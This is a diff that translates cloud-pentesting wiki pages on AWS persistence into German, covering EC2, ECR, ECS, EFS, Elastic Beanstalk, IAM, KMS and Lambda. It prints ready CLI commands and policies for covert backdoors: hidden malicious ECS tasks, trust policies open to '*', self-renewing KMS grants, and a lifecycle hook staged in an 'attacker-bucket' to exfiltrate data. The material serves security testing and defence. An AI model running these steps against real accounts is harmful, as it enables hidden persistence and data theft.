||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,55 +4,51 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
### Sicherheit Gruppenverbindungsverfolgung Persistenz
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **keinen eingehenden oder ausgehenden** Verkehr zuzulassen.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Sicherheitsgruppenverbindungsverfolgung**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
Dieser Dienst ermöglicht es, die **Erstellung von AMIs und Snapshots** zu **planen** und sogar **sie mit anderen Konten zu teilen**.\
|
||||
Ein Angreifer könnte die **Generierung von AMIs oder Snapshots** aller Images oder aller Volumes **jede Woche** konfigurieren und **sie mit seinem Konto teilen**.
|
||||
|
||||
### Scheduled Instances
|
||||
### Geplante Instanzen
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Rechten oder interessantem Zugriff betreiben, auf die er zugreifen könnte.
|
||||
|
||||
### Spot Fleet Request
|
||||
### Spot Fleet Anfrage
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot-Fleet-Anfrage für 5 Jahre** (zum Beispiel) mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** mit einer **hochprivilegierten IAM-Rolle**.
|
||||
|
||||
### Backdoor Instances
|
||||
### Hintertür-Instanzen
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit Hintertüren versehen:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
- Verwendung eines traditionellen **Rootkits** zum Beispiel
|
||||
- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 Privilegieneskalationsoptionen](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Hintertür in den **Benutzerdaten**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
### **Hintertür Startkonfiguration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
- Hintertür das verwendete AMI
|
||||
- Hintertür die Benutzerdaten
|
||||
- Hintertür das Schlüsselpaar
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
Erstellen Sie ein VPN, damit der Angreifer direkt über dieses in die VPC verbinden kann.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
Erstellen Sie eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, damit er auf die Opfer-VPC zugreifen kann.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,88 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
### Verstecktes Docker-Image mit bösartigem Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
Ein Angreifer könnte **ein Docker-Image mit bösartigem Code** in ein ECR-Repository hochladen und es verwenden, um Persistenz im Ziel-AWS-Konto aufrechtzuerhalten. Der Angreifer könnte dann das bösartige Image auf verschiedene Dienste innerhalb des Kontos, wie Amazon ECS oder EKS, auf heimliche Weise bereitstellen.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
### Repository-Richtlinie
|
||||
|
||||
Fügen Sie einer einzelnen Repository-Richtlinie hinzu, die Ihnen (oder allen) Zugriff auf ein Repository gewährt:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
> Beachten Sie, dass ECR erfordert, dass Benutzer **Berechtigungen** haben, um über eine IAM-Richtlinie **`ecr:GetAuthorizationToken`** API-Aufrufe zu tätigen, **bevor sie sich** bei einem Registry authentifizieren und Bilder aus einem Amazon ECR-Repository pushen oder pullen können.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
### Registry-Richtlinie & Cross-Account-Replikation
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
Es ist möglich, eine Registry in einem externen Konto automatisch zu replizieren, indem Sie die Cross-Account-Replikation konfigurieren, bei der Sie **das externe Konto** angeben müssen, in dem Sie die Registry replizieren möchten.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
Zuerst müssen Sie dem externen Konto Zugriff auf die Registry mit einer **Registry-Richtlinie** gewähren, wie:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
Dann wenden Sie die Replikationskonfiguration an:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,29 +4,28 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
### Versteckte periodische ECS-Aufgabe
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
Ein Angreifer kann eine versteckte periodische ECS-Aufgabe mit Amazon EventBridge erstellen, um **die Ausführung einer bösartigen Aufgabe regelmäßig zu planen**. Diese Aufgabe kann Aufklärung durchführen, Daten exfiltrieren oder die Persistenz im AWS-Konto aufrechterhalten.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
### Backdoor-Container in einer bestehenden ECS-Task-Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
Ein Angreifer kann einen **heimlichen Backdoor-Container** in einer bestehenden ECS-Task-Definition hinzufügen, der neben legitimen Containern läuft. Der Backdoor-Container kann für Persistenz und die Durchführung bösartiger Aktivitäten verwendet werden.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
Ein Angreifer kann einen **undocumented ECS service** erstellen, der eine bösartige Aufgabe ausführt. Durch das Setzen der gewünschten Anzahl von Aufgaben auf ein Minimum und das Deaktivieren von Protokollen wird es für Administratoren schwieriger, den bösartigen Dienst zu bemerken.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,25 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
# AWS - EFS Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### Ressourcenschutzrichtlinie / Sicherheitsgruppen ändern
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
Durch das Ändern der **Ressourcenschutzrichtlinie und/oder Sicherheitsgruppen** kannst du versuchen, deinen Zugriff auf das Dateisystem aufrechtzuerhalten.
|
||||
|
||||
### Create Access Point
|
||||
### Zugriffspunkt erstellen
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
Du könntest **einen Zugriffspunkt erstellen** (mit Root-Zugriff auf `/`), der von einem Dienst aus zugänglich ist, bei dem du **andere Persistenz** implementiert hast, um privilegierten Zugriff auf das Dateisystem zu behalten.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,30 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
### Persistenz in der Instanz
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
Um die Persistenz im AWS-Konto aufrechtzuerhalten, könnten einige **Persistenzmechanismen in der Instanz eingeführt werden** (Cron-Job, SSH-Schlüssel...), sodass der Angreifer darauf zugreifen und IAM-Rollen **Anmeldeinformationen aus dem Metadatenservice stehlen** kann.
|
||||
|
||||
### Backdoor in Version
|
||||
### Hintertür in der Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
Ein Angreifer könnte den Code im S3-Repo mit einer Hintertür versehen, sodass immer seine Hintertür und der erwartete Code ausgeführt werden.
|
||||
|
||||
### New backdoored version
|
||||
### Neue hintertürbehaftete Version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue hintertürbehaftete Version der Anwendung bereitstellen.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
### Missbrauch von benutzerdefinierten Ressourcen-Lifecycle-Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
Elastic Beanstalk bietet Lifecycle-Hooks, die es Ihnen ermöglichen, benutzerdefinierte Skripte während der Bereitstellung und Beendigung von Instanzen auszuführen. Ein Angreifer könnte **einen Lifecycle-Hook konfigurieren, um regelmäßig ein Skript auszuführen, das Daten exfiltriert oder den Zugriff auf das AWS-Konto aufrechterhält**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,50 +4,44 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
Für weitere Informationen zugreifen:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
### Häufige IAM-Persistenz
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
- Erstellen Sie einen Benutzer
|
||||
- Fügen Sie einen kontrollierten Benutzer einer privilegierten Gruppe hinzu
|
||||
- Erstellen Sie Zugriffsschlüssel (des neuen Benutzers oder aller Benutzer)
|
||||
- Gewähren Sie zusätzlichen Berechtigungen an kontrollierte Benutzer/Gruppen (angehängte Richtlinien oder Inline-Richtlinien)
|
||||
- Deaktivieren Sie MFA / Fügen Sie Ihr eigenes MFA-Gerät hinzu
|
||||
- Erstellen Sie eine Rollenkette Juggling-Situation (mehr dazu weiter unten in der STS-Persistenz)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
### Backdoor-Rollenvertrauensrichtlinien
|
||||
|
||||
Sie könnten eine Vertrauensrichtlinie hinterlegen, um sie für eine von Ihnen kontrollierte externe Ressource (oder für alle) annehmen zu können:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor-Policy-Version
|
||||
|
||||
### Backdoor Policy Version
|
||||
Geben Sie Administratorberechtigungen für eine Richtlinie in nicht ihrer letzten Version (die letzte Version sollte legitim aussehen), und weisen Sie dann diese Version der Richtlinie einem kontrollierten Benutzer/einer kontrollierten Gruppe zu.
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
### Backdoor / Identitätsanbieter erstellen
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
Wenn das Konto bereits einem gängigen Identitätsanbieter (wie Github) vertraut, könnten die Bedingungen des Vertrauens erhöht werden, sodass der Angreifer sie ausnutzen kann.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,34 @@
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
### Zugriff über KMS-Richtlinien gewähren
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem Benutzer unter seiner Kontrolle oder sogar einem externen Konto **Zugriff** auf einen Schlüssel zu **gewähren**. Siehe die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen.
|
||||
|
||||
### Eternal Grant
|
||||
### Ewige Berechtigung
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
Berechtigungen sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, eine Berechtigung zu erteilen, die es einem Benutzer erlaubt, Berechtigungen zu erstellen. Darüber hinaus kann ein Benutzer mehrere Berechtigungen (sogar identische) über denselben Schlüssel haben.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
Daher ist es möglich, dass ein Benutzer 10 Berechtigungen mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Berechtigung entfernt wird, sollten weitere 10 generiert werden.
|
||||
|
||||
(Wir verwenden 10 und nicht 2, um erkennen zu können, dass eine Berechtigung entfernt wurde, während der Benutzer noch einige Berechtigungen hat.)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
> Ein Grant kann nur Berechtigungen von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
Es ist möglich, **eine Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,49 +20,45 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda persistent zu bleiben, aber auch Anfragen zu stehlen und zu modifizieren.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### Über Ressourcenrichtlinien
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Es ist möglich, den Zugriff auf verschiedene Lambda-Aktionen (wie Invoke oder Update Code) für externe Konten zu gewähren:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### Versionen, Aliase & Gewichte
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
